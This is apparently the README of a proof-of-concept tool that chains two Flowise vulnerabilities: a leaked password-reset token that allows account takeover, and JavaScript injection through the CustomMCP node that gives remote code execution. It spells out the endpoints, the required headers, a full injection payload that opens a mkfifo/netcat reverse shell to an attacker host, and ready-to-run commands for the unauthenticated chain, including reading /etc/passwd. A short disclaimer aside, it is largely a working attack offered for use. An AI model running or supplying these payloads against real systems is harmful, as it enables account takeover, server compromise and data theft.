Modular PoC for CVE-2025-58434 (account takeover) and CVE-2025-59528 (RCE) in Flowise. Automates the full attack chain from unauthenticated token leak to remote code execution via reverse shell or custom command.
⚠️ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.
This repository combines two critical vulnerabilities in Flowise into a single, modular PoC tool.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Type | Account Takeover | Remote Code Execution |
| Auth Required | None | Yes (any valid account) |
| CVSS | 9.8 Critical | Critical |
| Affected | Cloud + Self-hosted | Self-hosted |
The two vulnerabilities chain naturally: CVE-2025-58434 provides unauthenticated account takeover, which satisfies the authentication requirement for CVE-2025-59528 — achieving unauthenticated RCE in a single automated run.
Root Cause: The forgot-password endpoint returns the password reset token (tempToken) directly in the HTTP response body instead of sending it only via email.
Attack Steps:
POST /api/v1/account/forgot-password with any registered emailtempToken from the JSON response — no email access neededPOST /api/v1/account/reset-password with the leaked token → set a new passwordLeaked response (trimmed):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Root Cause: The CustomMCP node passes user-supplied mcpServerConfig directly to JavaScript's Function() constructor with no sanitization. Since Flowise runs in Node.js, injected code has full access to child_process, fs, and all Node.js built-ins.
Vulnerable code path:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
Required headers:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Default injection payload (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Note: Reverse shell payloads use
cp.exec()(async / fire-and-forget) so the HTTP request returns immediately and the tool doesn't time out. Regular commands usecp.execSync()and return output inline.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Component | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Affected by CVE-2025-58434 |
| Flowise self-hosted (all versions prior to patch) | Affected by both CVEs |
Check the official Flowise security advisories for patched release numbers.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requests librarygit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
No mode flag is required. If you run the script without --chain or --module, it automatically runs in full chain mode. The default RCE payload is a reverse shell — just supply --lhost and --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Start your listener before running:
nc -lvnp 4444
python3 flowise_poc.py -h
Runs all four steps end-to-end: leak token → reset password → login → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Leak the tempToken and reset the account password. Stops before login/RCE.
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"